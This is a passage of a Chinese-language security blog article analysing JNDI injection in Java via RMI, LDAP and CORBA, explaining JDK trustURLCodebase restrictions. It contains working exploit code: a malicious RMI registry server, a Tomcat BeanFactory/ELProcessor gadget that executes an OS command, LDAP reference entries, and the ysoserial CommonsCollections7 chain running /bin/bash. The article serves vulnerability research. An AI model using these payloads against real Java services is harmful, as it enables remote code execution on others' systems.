          ????????}?catch?(NamingException?e)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          RMI

          本節(jié)主要分析 JNDI 在使用 RMI 協(xié)議時面臨的攻擊面。

          Remote Class

          在前面的 SPI 一節(jié)我們介紹的 RMI 的基本用法,服務端可以綁定一個對象,在客戶端進行查找的時候以序列化方式返回;同時,我們也可以綁定一個對象的引用,讓客戶端去指定地址獲取對象。

          例如,我們編寫程序注冊一個惡意的 RMI 服務:

          public?class?ServerExp?{
          ????????
          ????public?static?void?main(String?args[])?{
          ????????
          ????????try?{
          ????????????Registry?registry?=?LocateRegistry.getRegistry(1099);

          ????????????String?factoryUrl?=?"http://localhost:5000/";
          ????????????Reference?reference?=?new?Reference("EvilClass","EvilClass",?factoryUrl);
          ????????????ReferenceWrapper?wrapper?=?new?ReferenceWrapper(reference);
          ????????????registry.bind("Foo",?wrapper);

          ????????????System.err.println("Server?ready,?factoryUrl:"?+?factoryUrl);
          ????????}?catch?(Exception?e)?{
          ????????????System.err.println("Server?exception:?"?+?e.toString());
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          這里使用的是 JDK 1.8.0-181,com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要額外引入對應 jar 包。

          其中將 Foo 名稱綁定為 EvilClass 的引用,并指定引用的地址為?http://localhost:5000,EvilClass 的定義為:

          import?javax.naming.Context;
          import?javax.naming.Name;
          import?javax.naming.spi.ObjectFactory;
          import?java.util.Hashtable;

          public?class?EvilClass?implements?ObjectFactory?{
          ????static?void?log(String?key)?{
          ????????try?{
          ????????????System.out.println("EvilClass:?"?+?key);
          ????????}?catch?(Exception?e)?{
          ????????????//?do?nothing
          ????????}
          ????}

          ????{
          ????????EvilClass.log("IIB?block");
          ????}

          ????static?{
          ????????EvilClass.log("static?block");
          ????}

          ????public?EvilClass()?{
          ????????EvilClass.log("constructor");
          ????}

          ????@Override
          ????public?Object?getObjectInstance(Object?obj,?Name?name,?Context?nameCtx,?Hashtable?environment)?{
          ????????EvilClass.log("getObjectInstance");
          ????????return?null;
          ????}
          }

          主要通過打印來確定各個關鍵位置的代碼調(diào)用順序,將編譯好的?EvilClass.class?文件放到對應 HTTP 目錄下,在客戶端執(zhí)行查找操作:

          $?java?-Dcom.sun.jndi.rmi.object.trustURLCodebase=true?JNDILookup?rmi://localhost:1099/Foo
          EvilClass:?static?block
          EvilClass:?IIB?block
          EvilClass:?constructor
          EvilClass:?getObjectInstance
          ret:?null

          從 HTTP 服務器的日志可以看到?EvilClass.class?被請求,然后在客戶端中我們遠程的類代碼也按照順序被執(zhí)行了。

          上面執(zhí)行時加上了一個 JVM 參數(shù),如果不加的話你會收獲一個異常:

          javax.naming.ConfigurationException:?The?object?factory?is?untrusted.?Set?the?system?property?'com.sun.jndi.rmi.object.trustURLCodebase'?to?'true'.
          ????at?com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
          ????at?com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
          ????at?com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
          ????at?javax.naming.InitialContext.lookup(InitialContext.java:417)
          ????at?JNDILookup.main(JNDILookup.java:13)

          這個限制在 JDK?8u121、7u1316u141?版本時加入。因此如果 JDK 高于這些版本,默認是不信任遠程代碼的,因此也就無法加載遠程 RMI 代碼。

          Local Class

          上面高版本 JDK 中無法加載遠程代碼的異常出現(xiàn)在?RegistryContext?中,相關代碼如下:

          //?com/sun/jndi/rmi/registry/RegistryContext.java
          private?Object?decodeObject(Remote?r,?Name?name)?throws?NamingException?{
          ????try?{
          ????????Object?obj?=?(r?instanceof?RemoteReference)
          ??????????????????????((RemoteReference)r).getReference()
          ????????????????????:?(Object)r;

          ????????/*
          ????????????*?Classes?may?only?be?loaded?from?an?arbitrary?URL?codebase?when
          ????????????*?the?system?property?com.sun.jndi.rmi.object.trustURLCodebase
          ????????????*?has?been?set?to?"true".
          ????????????*/


          ????????//?Use?reference?if?possible
          ????????Reference?ref?=?null;
          ????????if?(obj?instanceof?Reference)?{
          ????????????ref?=?(Reference)?obj;
          ????????}?else?if?(obj?instanceof?Referenceable)?{
          ????????????ref?=?((Referenceable)(obj)).getReference();
          ????????}

          ????????if?(ref?!=?null?&&?ref.getFactoryClassLocation()?!=?null?&&
          ????????????!trustURLCodebase)?{
          ????????????throw?new?ConfigurationException(
          ????????????????"The?object?factory?is?untrusted.?Set?the?system?property"?+
          ????????????????"?'com.sun.jndi.rmi.object.trustURLCodebase'?to?'true'.");
          ????????}
          ????????return?NamingManager.getObjectInstance(obj,?name,?this,
          ????????????????????????????????????????????????environment);
          //??}?catch?(NamingException?e)?{?...
          }

          根據(jù)注釋所言,如果要解碼的對象?r?是遠程引用,就需要先解引用然后再調(diào)用?NamingManager.getObjectInstance,其中會實例化對應的 ObjectFactory 類并調(diào)用其?getObjectInstance?方法,這也符合我們前面打印的 EvilClass 的執(zhí)行順序。

          因此為了繞過這里 ConfigurationException 的限制,我們有三種方法:

          1.令?ref?為空,或者2.令?ref.getFactoryClassLocation()?為空,或者3.令?trustURLCodebase?為?true

          其中第三個方法我們已經(jīng)在上節(jié)用過,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 參數(shù)。

          第一,令?ref?為空,從語義上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是對象引用,只能是原始對象,這時候客戶端直接實例化本地對象,遠程 RMI 沒有操作的空間,因此這種情況不太好利用;

          第二,令?ref.getFactoryClassLocation()?返回空,即讓 ref 對象的 classFactoryLocation 屬性為空,這個屬性表示引用所指向?qū)ο蟮膶?factory 名稱,對于遠程代碼加載而言是 codebase,即遠程代碼的 URL 地址(可以是多個地址,以空格分隔),這正是我們上文針對低版本的利用方法;如果對應的 factory 是本地代碼,則該值為空,這是繞過高版本 JDK 限制的關鍵;

          要滿足這種情況,我們只需要在遠程 RMI 服務器返回的 Reference 對象中不指定 Factory 的 codebase。下一步還需要什么,繼續(xù)看 NamingManager 的解析過程,如下所示:

          //?javax/naming/spi/NamingManager.java
          public?static?Object
          ????getObjectInstance(Object?refInfo,?Name?name,?Context?nameCtx,
          ????????????????????????Hashtable?environment)
          ????throws?Exception
          {
          ????//?...
          ????if?(ref?!=?null)?{
          ????????String?f?=?ref.getFactoryClassName();
          ????????if?(f?!=?null)?{
          ????????????//?if?reference?identifies?a?factory,?use?exclusively

          ????????????factory?=?getObjectFactoryFromReference(ref,?f);
          ????????????if?(factory?!=?null)?{
          ????????????????return?factory.getObjectInstance(ref,?name,?nameCtx,
          ????????????????????????????????????????????????????environment);
          ????????????}
          ????????????//?No?factory?found,?so?return?original?refInfo.
          ????????????//?Will?reach?this?point?if?factory?class?is?not?in
          ????????????//?class?path?and?reference?does?not?contain?a?URL?for?it
          ????????????return?refInfo;

          ????????}?else?{
          ????????????//?if?reference?has?no?factory,?check?for?addresses
          ????????????//?containing?URLs

          ????????????answer?=?processURLAddrs(ref,?name,?nameCtx,?environment);
          ????????????if?(answer?!=?null)?{
          ????????????????return?answer;
          ????????????}
          ????????}
          ????}

          ????//?try?using?any?specified?factories
          ????answer?=
          ????????createObjectFromFactories(refInfo,?name,?nameCtx,?environment);
          ????return?(answer?!=?null)???answer?:?refInfo;
          }

          可以看到,在處理 Reference 對象時,會先調(diào)用?ref.getFactoryClassName()?獲取對應工廠類的名稱,如果為空則通過網(wǎng)絡去請求,即前文書中的情況;如果不為空則直接實例化工廠類,并通過工廠類去實例化一個對象并返回。

          因此,我們實際上可以指定一個存在于目標 classpath 中的工廠類名稱,交由這個工廠類去實例化實際的目標類(即引用所指向的類),從而間接實現(xiàn)一定的代碼控制。這種通過目標已有代碼去實現(xiàn)任意代碼執(zhí)行的漏洞利用輔助類統(tǒng)稱為?gadget

          在這些 Gadget 中,最為常用的一個就是 org.apache.naming.factory.BeanFactory,這個類在 Tomcat 中,很多 web 應用都會包含,另外這個類的實現(xiàn)很有意思,其關鍵代碼如下:

          Tomcat 代碼來自當前官網(wǎng)最新的 8.5.73 版本: https://tomcat.apache.org/download-80.cgi

          public?Object?getObjectInstance(Object?obj,?Name?name,?Context?nameCtx,
          ????????????????????????????????Hashtable?environment)
          ????throws?NamingException?{

          ????Reference?ref?=?(Reference)?obj;
          ????String?beanClassName?=?ref.getClassName();
          ????ClassLoader?tcl?=?Thread.currentThread().getContextClassLoader();
          ????//?1.?反射獲取類對象
          ????if?(tcl?!=?null)?{
          ????????beanClass?=?tcl.loadClass(beanClassName);
          ????}?else?{
          ????????beanClass?=?Class.forName(beanClassName);
          ????}
          ????//?2.?初始化類實例
          ????Object?bean?=?beanClass.getConstructor().newInstance();

          ????//?3.?根據(jù)?Reference?的屬性查找?setter?方法的別名
          ????RefAddr?ra?=?ref.get("forceString");
          ????String?value?=?(String)ra.getContent();

          ????//?4.?循環(huán)解析別名并保存到字典中
          ????for?(String?param:?value.split(","))?{
          ????????param?=?param.trim();
          ????????index?=?param.indexOf('=');
          ????????if?(index?>=?0)?{
          ????????????setterName?=?param.substring(index?+?1).trim();
          ????????????param?=?param.substring(0,?index).trim();
          ????????}?else?{
          ????????????setterName?=?"set"?+
          ????????????????param.substring(0,?1).toUpperCase(Locale.ENGLISH)?+
          ????????????????param.substring(1);
          ????????}
          ????????forced.put(param,?beanClass.getMethod(setterName,?paramTypes));
          ????}

          ????//?5.?解析所有屬性,并根據(jù)別名去調(diào)用?setter?方法
          ????Enumeration?e?=?ref.getAll();
          ????while?(e.hasMoreElements())?{
          ????????ra?=?e.nextElement();
          ????????String?propName?=?ra.getType();
          ????????String?value?=?(String)ra.getContent();
          ????????Object[]?valueArray?=?new?Object[1];
          ????????Method?method?=?forced.get(propName);
          ????????if?(method?!=?null)?{
          ????????????valueArray[0]?=?value;
          ????????????method.invoke(bean,?valueArray);
          ????????}
          ????????//?...
          ????}
          }

          上面注釋標注了關鍵的部分,我們可以通過在返回給客戶端的 Reference 對象的?forceString?字段指定 setter 方法的別名,并在后續(xù)初始化過程中進行調(diào)用。forceString 的格式為?a=foo,bar,以逗號分隔每個需要設置的屬性,如果包含等號,則對應的 setter 方法為等號后的值?foo,如果不包含等號,則 setter 方法為默認值?setBar。

          在后續(xù)調(diào)用時,調(diào)用 setter 方法使用單個參數(shù),且參數(shù)值為對應屬性對象?RefAddr?的值 (getContent)。因此,實際上我們可以調(diào)用任意指定類的任意方法,并指定單個可控的參數(shù)。那么利用方案就呼之欲出了,下面是一個實際利用代碼:

          Registry?registry?=?LocateRegistry.getRegistry(1099);
          ResourceRef?ref?=?new?ResourceRef("javax.el.ELProcessor",?null,?"",?"",?true,?"org.apache.naming.factory.BeanFactory",?null);
          ref.add(new?StringRefAddr("forceString",?"x=eval"));
          ref.add(new?StringRefAddr("x",?"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new?java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
          ReferenceWrapper?wrapper?=?new?ReferenceWrapper(ref);
          registry.bind("Foo",?wrapper);
          System.err.println("Server?ready");

          ResourceRef?在 tomcat 中表示某個資源的引用,其構造函數(shù)參數(shù)如下:

          //?java/org/apache/naming/ResourceRef.java
          /**
          ????*?Resource?Reference.
          ????*
          ????*?@param?resourceClass?Resource?class
          ????*?@param?description?Description?of?the?resource
          ????*?@param?scope?Resource?scope
          ????*?@param?auth?Resource?authentication
          ????*?@param?singleton?Is?this?resource?a?singleton?(every?lookup?should?return
          ????*??????????????????the?same?instance?rather?than?a?new?instance)?
          ????*?@param?factory?The?possibly?null?class?name?of?the?object's?factory.
          ????*?@param?factoryLocation?The?possibly?null?location?from?which?to?load?the
          ????*????????????????????????factory?(e.g.?URL)
          ????*/

          public?ResourceRef(String?resourceClass,?String?description,
          ????????????????????String?scope,?String?auth,?boolean?singleton,
          ????????????????????String?factory,?String?factoryLocation)?{

          其中我們指定了資源的實際類為?javax.el.ELProcessor,工廠類為?apache.naming.factory.BeanFactoryx=eval?令上述代碼實際執(zhí)行的是?ELProcessor.eval?函數(shù),其第一個參數(shù)是屬性?x?的值,這里指定的是(MacOS)彈計算器。

          在服務端啟動 registry 并注冊該對象(Foo) 綁定,然后在客戶端執(zhí)行一次查找:

          $?java?-cp?"apache-tomcat-8.5.73/lib/*:."?JNDILookup?rmi://localhost:1099/Foo
          ret:?javax.el.ELProcessor@149e0f5d

          即可執(zhí)行上述彈計算器的命令,由于流量有限,截圖就不放了。這種 gadget 在服務端代碼中還有很多,比如在?ysoserial[19]?工具中就集成了一些常見的 payload。

          LDAP

          LDAP 服務作為一個樹形數(shù)據(jù)庫,可以通過一些特殊的屬性來實現(xiàn) Java 對象的存儲,此外,還有一些其他實現(xiàn) Java 對象存儲的方法:

          ?使用 Java 序列化進行存儲[20];?使用 JNDI 的引用(Reference)進行存儲[21];?……

          使用這些方法存儲在 LDAP 目錄中的 Java 對象一旦被客戶端解析(反序列化),就可能會引起遠程代碼執(zhí)行。

          Codebase

          先看基于 JNDI 引用進行存儲的例子。這表示我們在 LDAP 服務器中保存了一個 Java 對象的引用,保存的格式時根據(jù) JNDI 的規(guī)范進行約定的,主要包含幾個特殊屬性(Attribute),以 LDIF 格式表述如下:

          ObjectClass:?javaNamingReference
          javaCodebase:?http://localhost:5000/
          JavaFactory:?EvilClass
          javaClassName:?FooBar

          我們并不需要像網(wǎng)上其他文章一樣使用 Java 去啟動 LDAP 服務器,只需要在任意 LDAP 服務器中添加這么一項包含上述額外屬性的記錄即可。假設改 LDAP 服務器監(jiān)聽在默認的 389 端口,基于我們開頭 JNDILook 程序的注入代碼為:

          $?java?JNDILookup?ldap://localhost/Test
          EvilClass:?static?block
          EvilClass:?IIB?block
          EvilClass:?constructor
          EvilClass:?getObjectInstance
          ret:?null

          運行后客戶端程序會獲取并解析 LDAP 記錄,從而根據(jù)屬性名稱去獲取并實例化遠程對象,這里使用的依然是 RMI 中的 EvilClass 作為示例 Payload,可以看到目標的代碼也按照順序執(zhí)行了。

          LDAP 服務器的流量記錄如下所示:

          ldap-ref

          既然涉及到 codebase,那么應該存在默認禁用遠程加載的限制,在高版本 JDK 中需要通過?com.sun.jndi.ldap.object.trustURLCodebase?選項去啟用。這個限制在 JDK 11.0.1、8u191、7u2016u211?版本時加入,略晚于 RMI 的遠程加載限制。

          SerializedData

          另外一個類似的存儲對象方法是通過?序列化?存儲,關鍵屬性如下:

          javaSerializedData:?aced00573…
          javaClassName:?FooBar

          如果被序列化的對象類存在于目標的 classpath 中,且反序列化過程中可以通過流程控制可以實現(xiàn)參數(shù)控制,那么就可以實現(xiàn)遠程代碼執(zhí)行。這其實是屬于一大類開放式反序列化的漏洞,以?ysoserial?中的一個利用方式?CommonsCollections7?為例,其序列化的對象如下所示(需要依賴 commons-collections.jar):

          @SuppressWarnings("unchecked")
          private?static?Object?getObject?(?String?cmd?)?throws?Exception
          {
          ????Transformer[]???tarray??????=?new?Transformer[]
          ????{
          ????????new?ConstantTransformer(?Runtime.class?),
          ????????new?InvokerTransformer
          ????????(
          ????????????"getMethod",
          ????????????new?Class[]
          ????????????{
          ????????????????String.class,
          ????????????????Class[].class
          ????????????},
          ????????????new?Object[]
          ????????????{
          ????????????????"getRuntime",
          ????????????????new?Class[0]
          ????????????}
          ????????),
          ????????new?InvokerTransformer
          ????????(
          ????????????"invoke",
          ????????????new?Class[]
          ????????????{
          ????????????????Object.class,
          ????????????????Object[].class
          ????????????},
          ????????????new?Object[]
          ????????????{
          ????????????????null,
          ????????????????new?Object[0]
          ????????????}
          ????????),
          ????????new?InvokerTransformer
          ????????(
          ????????????"exec",
          ????????????new?Class[]
          ????????????{
          ????????????????String[].class
          ????????????},
          ????????????new?Object[]
          ????????????{
          ????????????????new?String[]
          ????????????????{
          ????????????????????"/bin/bash",
          ????????????????????"-c",
          ????????????????????cmd
          ????????????????}
          ????????????}
          ????????)
          ????};
          ????Transformer?????tchain??????=?new?ChainedTransformer(?new?Transformer[0]?);
          ????Map?????????????normalMap_0?=?new?HashMap();
          ????Map?????????????normalMap_1?=?new?HashMap();
          ????Map?????????????lazyMap_0???=?LazyMap.decorate(?normalMap_0,?tchain?);
          ????Map?????????????lazyMap_1???=?LazyMap.decorate(?normalMap_1,?tchain?);
          ????lazyMap_0.put(?"scz",?"same"?);
          ????lazyMap_1.put(?"tDz",?"same"?);
          ????Hashtable???????ht??????????=?new?Hashtable();
          ????ht.put(?lazyMap_0,?"value_0"?);
          ????ht.put(?lazyMap_1,?"value_1"?);
          ????lazyMap_1.remove(?"scz"?);
          ????Field???????????f???????????=?ChainedTransformer.class.getDeclaredField(?"iTransformers"?);
          ????f.setAccessible(?true?);
          ????f.set(?tchain,?tarray?);
          ????return(?ht?);
          }

          通過反射修改 (org.apache.commons.collections.functors.) ChainedTransformer 的 iTransformers 成員變量實現(xiàn)代碼執(zhí)行。應該是基于 Hastable/LazyMap 的某些特性,我看不懂,但我大受震撼。

          客戶端包含 common-collections 后執(zhí)行 LDAP 查詢即可觸發(fā) RCE:

          $?java?-cp?ldap/commons-collections-3.1.jar:.?JNDILookup?ldap://localhost/Test
          ret:?{{tDz=same,?scz=java.lang.UNIXProcess@2dda6444}=value_1,?{scz=same}=value_0}

          CORBA

          回顧我們前文 SPI 一節(jié)中對于 CORBA 的介紹,RPC 的服務端在啟動后向 orbd 目錄服務注冊自身的接口信息,緊挨著?op=to_name?請求的是一條?op=rebind?請求(COSNAMING),綁定請求中攜帶了關鍵的 IOR 字段,描述了自身的關鍵信息,同時這也是客戶端在解析遠程類(op=resolve_str)時所返回的數(shù)據(jù)。

          IOR 字段中的關鍵內(nèi)容有:

          ?Type ID: 表示接口的唯一標識符;?IIOP Version: 協(xié)議版本;?Host: ORB 遠程主機的地址;?Port: ORB 遠程主機的端口;?Object Key: RPC 服務的標識;?Components: 額外的信息序列,用于實現(xiàn)對象方法的調(diào)用,比如支持的 ORB 服務以及所支持的私有協(xié)議;?Codebase: 遠程代碼的地址,通過控制這個字段,攻擊者可以目標遠程加載的代碼;

          在原始的 slide 中,作者提到 CORBA 加載遠程代碼存在一個嚴格的限制是 SecurityManager 必須啟用,并且顯式地配置規(guī)則才能在當前上下文訪問和讀取遠程文件:

          permission?java.net.SocketPermission?"*:1098-1099",?"connect";
          permission?java.io.FilePermission?"<>",?"read”;

          通過查看 JDK 的代碼可知,resolve_str?最終會調(diào)用到?StubFactoryFactoryStaticImpl.createStubFactory?去加載遠程 class 并調(diào)用 newInstance 創(chuàng)建對象,其內(nèi)部使用的 ClassLoader 是?RMIClassLoader,在反序列化 stub 的上下文中,默認不允許訪問遠程文件,因此這種方法在實際場景中比較少用(我猜的),所以就不深入研究了。

          總結

          JNDI 注入的漏洞的關鍵在于動態(tài)協(xié)議切換導致請求了攻擊者控制的目錄服務,進而導致加載不安全的遠程代碼導致代碼執(zhí)行。漏洞 雖然出現(xiàn)在 InitialContext 及其子類 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有許多其他的方法間接調(diào)用了 lookup,比如:

          ?InitialContext.rename()?InitialContext.lookupLink()

          或者在一些常見外部類中調(diào)用了 lookup,比如:

          ?org.springframework.transaction.jta.JtaTransactionManager.readObject()?com.sun.rowset.JdbcRowSetImpl.execute()?javax.management.remote.rmi.RMIConnector.connect()?org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)?...

          這都是 Java 應用最終導致 RCE 的關鍵環(huán)節(jié),并且已經(jīng)普遍用于日常的反序列化漏洞利用中。因此對于這些關鍵函數(shù)的掃描一方面可以讓我們找出用戶可控的 JNDI 注入點,另一方面也可以輔助查找可用于利用的 Gadget,幫助安全研究人員深入理解漏洞的成因和危害。

          最后

          Java 好難,還是繼續(xù)搞二進制吧。

          參考資料:

          ?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (slides)[22]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (wp)[23]?JAVA JNDI注入知識詳解[24]?8U191之后的JNDI注入(LDAP)[25]

          引用鏈接

          [1]?Lightweight Directory Access Protocol:?http://www.ietf.org/rfc/rfc2251.txt
          [2]?Active Directory:?https://en.wikipedia.org/wiki/Active_Directory
          [3]?javax.naming:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/naming.html
          [4]?javax.naming.directory:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/directory.html
          [5]?javax.naming.event:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/event.html
          [6]?javax.naming.ldap:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/ldap.html
          [7]?javax.naming.spi:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/provider.html
          [8]?Java? Remote Method Invocation API:?https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/
          [9]?Getting Started Using Java? RMI:?https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/hello/hello-world.html
          [10]?RFC2251:?http://www.ietf.org/rfc/rfc2251.txt
          [11]?RFC4511:?https://datatracker.ietf.org/doc/rfc4511/
          [12]?LDAP v3: UTF-8 String Representation of Distinguished Names (RFC2253):?https://www.ietf.org/rfc/rfc2253.txt
          [13]?LDIF(LDAP Data Interchange Format):?https://en.wikipedia.org/wiki/LDAP_Data_Interchange_Format
          [14]?ORB(Object Request Broker):?https://en.wikipedia.org/wiki/Object_request_broker
          [15]?Portable Object Adapter:?https://docs.oracle.com/javase/7/docs/technotes/guides/idl/POA.html
          [16]?Common Object Request Broker Architecture:?https://www.omg.org/spec/CORBA/3.1/About-CORBA/
          [17]?Java IDL: The "Hello World" Example:?https://docs.oracle.com/javase/7/docs/technotes/guides/idl/jidlExample.html
          [18]?Java CORBA - Seebug:?https://paper.seebug.org/1124/
          [19]?ysoserial:?https://github.com/frohoff/ysoserial
          [20]?使用 Java 序列化進行存儲:?https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
          [21]?使用 JNDI 的引用(Reference)進行存儲:?https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
          [22]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (slides):?https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
          [23]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (wp):?https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
          [24]?JAVA JNDI注入知識詳解:?http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
          [25]?8U191之后的JNDI注入(LDAP):?http://blog.nsfocus.net/ldap-0521/


          瀏覽 60
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  菠萝蜜二区三区免费视频免费 | 性生交大片免费看A片苹果 | 天天影视插插综合网 | 欧美成人亚洲免费 | 一级片视频在线观看大全 |